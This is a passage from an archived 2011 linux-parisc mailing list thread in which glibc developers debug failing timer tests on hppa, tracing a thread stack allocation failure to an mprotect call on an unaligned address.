do_clone: ARCH_CLONE...

timer_helper_thread: creating thread...

do_clone: ARCH_CLONE...

timer_helper_thread: pthread_create ret 0
timer_segev_thread: tid 20077
timer_helper_thread: creating thread...

pthread_create: ALLOCATE_STACK failed.

timer_helper_thread: pthread_create ret 22
~~~

The second threads stack fails to allocate.

I don't know why, the stack allocation on hppa is tricky because of
S_G_U and the placement of stack guards.

Why it would fail for one thread and not the other is odd.

I'll keep digging.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: tst-cputimer1 and tst-timer4
Date: Mon, 4 Jul 2011 11:26:33 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <CADZpyiwDx-6oHNaCXoVC_XWpeUuZ3_n5RLzdmZK0Aoeh0ra3tw@mail.gmail.com>
References: <CADZpyizeDz0mRxLU3-Scx37DZ4jYMtKBjQn6_ZfxMyjhsT6Lkg@mail.gmail.com>
	<BLU0-SMTP9158F203DF2B6A1AD1D9A4975D0@phx.gbl>
	<CADZpyiwjD2kMPoh9rm1KL_+mYm72nPz8ERHcSuHODkD31qncuQ@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1309793206 2189 80.91.229.12 (4 Jul 2011 15:26:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 4 Jul 2011 15:26:46 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@nrc.ca>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 04 17:26:38 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qdl2h-0001Xm-On
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jul 2011 17:26:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752504Ab1GDP0f (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jul 2011 11:26:35 -0400
Original-Received: from mail-ew0-f46.google.com ([209.85.215.46]:35458 "EHLO
	mail-ew0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753993Ab1GDP0e (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jul 2011 11:26:34 -0400
Original-Received: by ewy4 with SMTP id 4so1780504ewy.19
        for <linux-parisc@vger.kernel.org>; Mon, 04 Jul 2011 08:26:33 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=Tl+JLnA3muzsUJi0kJHHBggB6WYxmIgdKHSyDVuDZMk=;
        b=VZvZa3cXU4MDKaN2Q482kk4qXySjl2E+BVdIRGpDDNroJUL9g0HQv14fpdEX5xtHJn
         1yv20TNZgiccNJsfOe39pnCOvEJLqQ+UwyNywGvP7cfrHJ9GVMya9mapDjeICuOzk2lx
         e2cFD//ZncZtYFDxoFIpjzgux3vyYYSOWEjjI=
Original-Received: by 10.14.98.140 with SMTP id v12mr1818636eef.136.1309793193272; Mon,
 04 Jul 2011 08:26:33 -0700 (PDT)
Original-Received: by 10.14.186.140 with HTTP; Mon, 4 Jul 2011 08:26:33 -0700 (PDT)
In-Reply-To: <CADZpyiwjD2kMPoh9rm1KL_+mYm72nPz8ERHcSuHODkD31qncuQ@mail.gmail.com>
X-Google-Sender-Auth: jo9TuXS17qQjMb9_9DyTSFvrG9M
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3838
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3838>

On Mon, Jul 4, 2011 at 11:21 AM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> pthread_create: ALLOCATE_STACK failed.
>
> timer_helper_thread: pthread_create ret 22
> ~~~
>
> The second threads stack fails to allocate.

1309792564.144002 set_robust_list(0x4000b4f0, 0xc) = 0
1309792564.144002 rt_sigtimedwait([RTMIN], {si_signo=SIGRTMIN,
si_code=SI_TIMER, si_pid=4, si_uid=0, si_value={int=90456,
ptr=0x16158}}, NULL, 8) = 37
1309792564.368004 write(1, "timer_helper_thread: creating th"..., 40) = 40
1309792564.368004 write(1, "\n", 1)     = 1
1309792564.368004 mmap(NULL, 8388608, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x41349000
1309792564.368004 mprotect(0x41b47000, 4096, PROT_NONE) = 0
1309792564.368004 write(1, "do_clone: ARCH_CLONE...\n", 24) = 24
1309792564.368004 write(1, "\n", 1)     = 1
1309792564.372004 clone(child_stack=0x41349040,
flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID,
parent_tidptr=0x41b484e8, tls=0x41b48900, child_tidptr=0x41b484e8) =
21795
1309792564.372004 write(1, "timer_helper_thread: pthread_cre"..., 42) = 42
1309792564.372004 rt_sigtimedwait([RTMIN], {si_signo=SIGRTMIN,
si_code=SI_TIMER, si_pid=5, si_uid=0, si_value={int=90520,
ptr=0x16198}}, NULL, 8) = 37
1309792564.476005 write(1, "timer_helper_thread: creating th"..., 40) = 40
1309792564.476005 write(1, "\n", 1)     = 1
1309792564.480005 mprotect(0x41b47480, 4096,
PROT_READ|PROT_WRITE|PROT_EXEC) = -1 EINVAL (Invalid argument)
1309792564.480005 munmap(0x41349000, 8388608) = 0
1309792564.480005 write(1, "pthread_create: ALLOCATE_STACK f"..., 39) = 39

Why would this mprotect fail with -EINVAL? It's not page aligned?

You can see the earlier mmap/mprotect from thread one's stack looks
page aligned.

I'll look into this.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: tst-cputimer1 and tst-timer4
Date: Mon, 4 Jul 2011 12:09:37 -0400
Lines: 74
Approved: news@gmane.org
Message-ID: <CADZpyiw1O=AYJ1Y+fNDRSnPpdxzPDir-rPaWOiVF_jPPy=nxww@mail.gmail.com>
References: <CADZpyizeDz0mRxLU3-Scx37DZ4jYMtKBjQn6_ZfxMyjhsT6Lkg@mail.gmail.com>
	<BLU0-SMTP9158F203DF2B6A1AD1D9A4975D0@phx.gbl>
	<CADZpyiwjD2kMPoh9rm1KL_+mYm72nPz8ERHcSuHODkD31qncuQ@mail.gmail.com>
	<CADZpyiwDx-6oHNaCXoVC_XWpeUuZ3_n5RLzdmZK0Aoeh0ra3tw@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1309795785 17466 80.91.229.12 (4 Jul 2011 16:09:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 4 Jul 2011 16:09:45 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@nrc.ca>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 04 18:09:41 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QdliO-0001yW-7a
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jul 2011 18:09:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757927Ab1GDQJj convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jul 2011 12:09:39 -0400
Original-Received: from mail-ey0-f174.google.com ([209.85.215.174]:65362 "EHLO
	mail-ey0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755976Ab1GDQJi convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jul 2011 12:09:38 -0400
Original-Received: by eyx24 with SMTP id 24so1781430eyx.19
        for <linux-parisc@vger.kernel.org>; Mon, 04 Jul 2011 09:09:37 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=44nWV40346wkPaunUvfnO3UGVZn/81eTdBJbhbl2Wxw=;
        b=dmS265H/uaSP9Xo2AdVF9TipV+aMErSNyyH9ftETWBN0cIOVDX0bU8LRIlF0uQyoiE
         FNoMoP+TI9oLRocOXIpP+qtHVDCzY264k7SfKeDPdITrPNL1A7OZHBHY9ITVdcIvJ9+z
         nE3JqeMK3Zjmxke2IiYpxmWlh9r1LE+qsrDuA=
Original-Received: by 10.14.34.20 with SMTP id r20mr1877070eea.40.1309795777731; Mon,
 04 Jul 2011 09:09:37 -0700 (PDT)
Original-Received: by 10.14.186.140 with HTTP; Mon, 4 Jul 2011 09:09:37 -0700 (PDT)
In-Reply-To: <CADZpyiwDx-6oHNaCXoVC_XWpeUuZ3_n5RLzdmZK0Aoeh0ra3tw@mail.gmail.com>
X-Google-Sender-Auth: RV4rLJhaiH1fwebD2MI6JfrQ7ho
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3839
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3839>

On Mon, Jul 4, 2011 at 11:26 AM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> On Mon, Jul 4, 2011 at 11:21 AM, Carlos O'Donell
> <carlos@systemhalted.org> wrote:
>> pthread_create: ALLOCATE_STACK failed.
>>
>> timer_helper_thread: pthread_create ret 22
>> ~~~
>>
>> The second threads stack fails to allocate.
>
> 1309792564.144002 set_robust_list(0x4000b4f0, 0xc) =3D 0
> 1309792564.144002 rt_sigtimedwait([RTMIN], {si_signo=3DSIGRTMIN,
> si_code=3DSI_TIMER, si_pid=3D4, si_uid=3D0, si_value=3D{int=3D90456,
> ptr=3D0x16158}}, NULL, 8) =3D 37
> 1309792564.368004 write(1, "timer_helper_thread: creating th"..., 40)=
 =3D 40
> 1309792564.368004 write(1, "\n", 1) =A0 =A0 =3D 1
> 1309792564.368004 mmap(NULL, 8388608, PROT_READ|PROT_WRITE|PROT_EXEC,
> MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =3D 0x41349000
> 1309792564.368004 mprotect(0x41b47000, 4096, PROT_NONE) =3D 0
> 1309792564.368004 write(1, "do_clone: ARCH_CLONE...\n", 24) =3D 24
> 1309792564.368004 write(1, "\n", 1) =A0 =A0 =3D 1
> 1309792564.372004 clone(child_stack=3D0x41349040,
> flags=3DCLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLON=
E_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID,
> parent_tidptr=3D0x41b484e8, tls=3D0x41b48900, child_tidptr=3D0x41b484=
e8) =3D
> 21795
> 1309792564.372004 write(1, "timer_helper_thread: pthread_cre"..., 42)=
 =3D 42
> 1309792564.372004 rt_sigtimedwait([RTMIN], {si_signo=3DSIGRTMIN,
> si_code=3DSI_TIMER, si_pid=3D5, si_uid=3D0, si_value=3D{int=3D90520,
> ptr=3D0x16198}}, NULL, 8) =3D 37
> 1309792564.476005 write(1, "timer_helper_thread: creating th"..., 40)=
 =3D 40
> 1309792564.476005 write(1, "\n", 1) =A0 =A0 =3D 1
> 1309792564.480005 mprotect(0x41b47480, 4096,
> PROT_READ|PROT_WRITE|PROT_EXEC) =3D -1 EINVAL (Invalid argument)
> 1309792564.480005 munmap(0x41349000, 8388608) =3D 0
> 1309792564.480005 write(1, "pthread_create: ALLOCATE_STACK f"..., 39)=
 =3D 39
>
> Why would this mprotect fail with -EINVAL? It's not page aligned?
>
> You can see the earlier mmap/mprotect from thread one's stack looks
> page aligned.
>
> I'll look into this.

Alright, the documetnation for mprotect definately says "addr must be
aligned to a page boundary."

And matches the return failure:
"EINVAL addr is not a valid pointer, or not a multiple of the system pa=
ge size."

So it would seem that this just works in the _S_G_D case because of
the way addresses line up.

I'm instrumenting the stack allocation code and guard setup to see if
I missed anything.

This part of glibc has been heavily patched by me to enable _S_G_U,
and it's probably the ugliest part of the thread startup code.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: tst-cputimer1 and tst-timer4
Date: Mon, 4 Jul 2011 12:58:25 -0400
Lines: 51
Approved: news@gmane.org
Message-ID: <BLU0-SMTP765C4C4388C64F0F8BF8F8975C0@phx.gbl>
References: <CADZpyizeDz0mRxLU3-Scx37DZ4jYMtKBjQn6_ZfxMyjhsT6Lkg@mail.gmail.com>	<BLU0-SMTP9158F203DF2B6A1AD1D9A4975D0@phx.gbl>	<CADZpyiwjD2kMPoh9rm1KL_+mYm72nPz8ERHcSuHODkD31qncuQ@mail.gmail.com> <CADZpyiwDx-6oHNaCXoVC_XWpeUuZ3_n5RLzdmZK0Aoeh0ra3tw@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1309798713 2452 80.91.229.12 (4 Jul 2011 16:58:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 4 Jul 2011 16:58:33 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@nrc.ca>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 04 18:58:28 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QdmTb-0003Uu-SO
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jul 2011 18:58:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757393Ab1GDQ61 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jul 2011 12:58:27 -0400
Original-Received: from blu0-omc4-s2.blu0.hotmail.com ([65.55.111.141]:24020 "EHLO
	blu0-omc4-s2.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755997Ab1GDQ61 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jul 2011 12:58:27 -0400
Original-Received: from BLU0-SMTP76 ([65.55.111.136]) by blu0-omc4-s2.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 4 Jul 2011 09:58:26 -0700
X-Originating-IP: [216.58.93.173]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.103] ([216.58.93.173]) by BLU0-SMTP76.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 4 Jul 2011 09:58:25 -0700
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11
In-Reply-To: <CADZpyiwDx-6oHNaCXoVC_XWpeUuZ3_n5RLzdmZK0Aoeh0ra3tw@mail.gmail.com>
X-OriginalArrivalTime: 04 Jul 2011 16:58:25.0490 (UTC) FILETIME=[96EC9320:01CC3A6B]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3840
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3840>

On 7/4/2011 11:26 AM, Carlos O'Donell wrote:
> On Mon, Jul 4, 2011 at 11:21 AM, Carlos O'Donell
> <carlos@systemhalted.org>  wrote:
>> pthread_create: ALLOCATE_STACK failed.
>>
>> timer_helper_thread: pthread_create ret 22
>> ~~~
>>
>> The second threads stack fails to allocate.
> 1309792564.144002 set_robust_list(0x4000b4f0, 0xc) = 0
> 1309792564.144002 rt_sigtimedwait([RTMIN], {si_signo=SIGRTMIN,
> si_code=SI_TIMER, si_pid=4, si_uid=0, si_value={int=90456,
> ptr=0x16158}}, NULL, 8) = 37
> 1309792564.368004 write(1, "timer_helper_thread: creating th"..., 40) = 40
> 1309792564.368004 write(1, "\n", 1)     = 1
> 1309792564.368004 mmap(NULL, 8388608, PROT_READ|PROT_WRITE|PROT_EXEC,
> MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x41349000
> 1309792564.368004 mprotect(0x41b47000, 4096, PROT_NONE) = 0
> 1309792564.368004 write(1, "do_clone: ARCH_CLONE...\n", 24) = 24
> 1309792564.368004 write(1, "\n", 1)     = 1
> 1309792564.372004 clone(child_stack=0x41349040,
> flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID,
> parent_tidptr=0x41b484e8, tls=0x41b48900, child_tidptr=0x41b484e8) =
> 21795
> 1309792564.372004 write(1, "timer_helper_thread: pthread_cre"..., 42) = 42
> 1309792564.372004 rt_sigtimedwait([RTMIN], {si_signo=SIGRTMIN,
> si_code=SI_TIMER, si_pid=5, si_uid=0, si_value={int=90520,
> ptr=0x16198}}, NULL, 8) = 37
> 1309792564.476005 write(1, "timer_helper_thread: creating th"..., 40) = 40
> 1309792564.476005 write(1, "\n", 1)     = 1
> 1309792564.480005 mprotect(0x41b47480, 4096,
> PROT_READ|PROT_WRITE|PROT_EXEC) = -1 EINVAL (Invalid argument)
> 1309792564.480005 munmap(0x41349000, 8388608) = 0
> 1309792564.480005 write(1, "pthread_create: ALLOCATE_STACK f"..., 39) = 39
>
> Why would this mprotect fail with -EINVAL? It's not page aligned?
>
> You can see the earlier mmap/mprotect from thread one's stack looks
> page aligned.

I believe that the stack value needs to be aligned.  See comment in
arch_get_unmapped_area.  Not sure if this will fix mprotect.

I submitted a patch to return an error if  but there was no comment.

Dave
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: tst-cputimer1 and tst-timer4
Date: Mon, 4 Jul 2011 13:49:27 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <CADZpyiyWCa0o2Rpj_PoJLoT28G_SuV4P896Y-+Y3rWQXqmQWTQ@mail.gmail.com>
References: <CADZpyizeDz0mRxLU3-Scx37DZ4jYMtKBjQn6_ZfxMyjhsT6Lkg@mail.gmail.com>
	<BLU0-SMTP9158F203DF2B6A1AD1D9A4975D0@phx.gbl>
	<CADZpyiwjD2kMPoh9rm1KL_+mYm72nPz8ERHcSuHODkD31qncuQ@mail.gmail.com>
	<CADZpyiwDx-6oHNaCXoVC_XWpeUuZ3_n5RLzdmZK0Aoeh0ra3tw@mail.gmail.com>
	<BLU0-SMTP765C4C4388C64F0F8BF8F8975C0@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1309801775 20116 80.91.229.12 (4 Jul 2011 17:49:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 4 Jul 2011 17:49:35 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@nrc.ca>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 04 19:49:30 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QdnGz-00076X-Q3
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jul 2011 19:49:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757293Ab1GDRt3 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jul 2011 13:49:29 -0400
Original-Received: from mail-ey0-f174.google.com ([209.85.215.174]:44941 "EHLO
	mail-ey0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757058Ab1GDRt2 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jul 2011 13:49:28 -0400
Original-Received: by eyx24 with SMTP id 24so1802479eyx.19
        for <linux-parisc@vger.kernel.org>; Mon, 04 Jul 2011 10:49:27 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=pwy+jAgP7ibrWvd6IKtQmLLSnpuFBXnz99Cthj3mXZE=;
        b=PhAxMSFddsKSL7+fh0kvUu37ZZP87HznU+u93icmpr+G9P7S1rw3GOBiKk13UmXmS/
         Xum6muUeMz3gnH5gIqZ60N2c8Ur6kN+Tm1gSbctNcbpqmGDnlVvh9/AmIMRIKmMgYK3H
         bmUaffAbDkYDjG4NZcC8YhbNII9YjcYOCncZE=
Original-Received: by 10.14.42.12 with SMTP id i12mr1867356eeb.72.1309801767585; Mon,
 04 Jul 2011 10:49:27 -0700 (PDT)
Original-Received: by 10.14.186.140 with HTTP; Mon, 4 Jul 2011 10:49:27 -0700 (PDT)
In-Reply-To: <BLU0-SMTP765C4C4388C64F0F8BF8F8975C0@phx.gbl>
X-Google-Sender-Auth: dEvR9DsRBLvfgy2p5wL4T-dlemE
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3841
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3841>

On Mon, Jul 4, 2011 at 12:58 PM, John David Anglin <dave.anglin@bell.ne=
t> wrote:
>> Why would this mprotect fail with -EINVAL? It's not page aligned?
>>
>> You can see the earlier mmap/mprotect from thread one's stack looks
>> page aligned.
>
> I believe that the stack value needs to be aligned. =A0See comment in
> arch_get_unmapped_area. =A0Not sure if this will fix mprotect.

What needs to be aligned, the stack value or the addr in a call to mpro=
tect?

The latter, yes, that appears to be the case.

The stack will be at least aligned to the target requirement.

> I submitted a patch to return an error if =A0but there was no comment=
=2E

Reference?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: tst-cputimer1 and tst-timer4
Date: Mon, 4 Jul 2011 14:50:16 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <BLU0-SMTP5FDE70B357D278016D47B975C0@phx.gbl>
References: <CADZpyizeDz0mRxLU3-Scx37DZ4jYMtKBjQn6_ZfxMyjhsT6Lkg@mail.gmail.com>	<BLU0-SMTP9158F203DF2B6A1AD1D9A4975D0@phx.gbl>	<CADZpyiwjD2kMPoh9rm1KL_+mYm72nPz8ERHcSuHODkD31qncuQ@mail.gmail.com>	<CADZpyiwDx-6oHNaCXoVC_XWpeUuZ3_n5RLzdmZK0Aoeh0ra3tw@mail.gmail.com>	<BLU0-SMTP765C4C4388C64F0F8BF8F8975C0@phx.gbl> <CADZpyiyWCa0o2Rpj_PoJLoT28G_SuV4P896Y-+Y3rWQXqmQWTQ@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1309805424 8554 80.91.229.12 (4 Jul 2011 18:50:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 4 Jul 2011 18:50:24 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@nrc.ca>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 04 20:50:20 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QdoDr-0005Au-VB
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jul 2011 20:50:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751323Ab1GDSuT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jul 2011 14:50:19 -0400
Original-Received: from blu0-omc4-s14.blu0.hotmail.com ([65.55.111.153]:9622 "EHLO
	blu0-omc4-s14.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751238Ab1GDSuS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jul 2011 14:50:18 -0400
Original-Received: from BLU0-SMTP5 ([65.55.111.137]) by blu0-omc4-s14.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 4 Jul 2011 11:50:17 -0700
X-Originating-IP: [216.58.93.173]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.103] ([216.58.93.173]) by BLU0-SMTP5.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 4 Jul 2011 11:50:17 -0700
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11
In-Reply-To: <CADZpyiyWCa0o2Rpj_PoJLoT28G_SuV4P896Y-+Y3rWQXqmQWTQ@mail.gmail.com>
X-OriginalArrivalTime: 04 Jul 2011 18:50:17.0124 (UTC) FILETIME=[375EA640:01CC3A7B]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3842
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3842>

On 7/4/2011 1:49 PM, Carlos O'Donell wrote:
> On Mon, Jul 4, 2011 at 12:58 PM, John David Anglin<dave.anglin@bell.net>  wrote:
>>> Why would this mprotect fail with -EINVAL? It's not page aligned?
>>>
>>> You can see the earlier mmap/mprotect from thread one's stack looks
>>> page aligned.
>> I believe that the stack value needs to be aligned.  See comment in
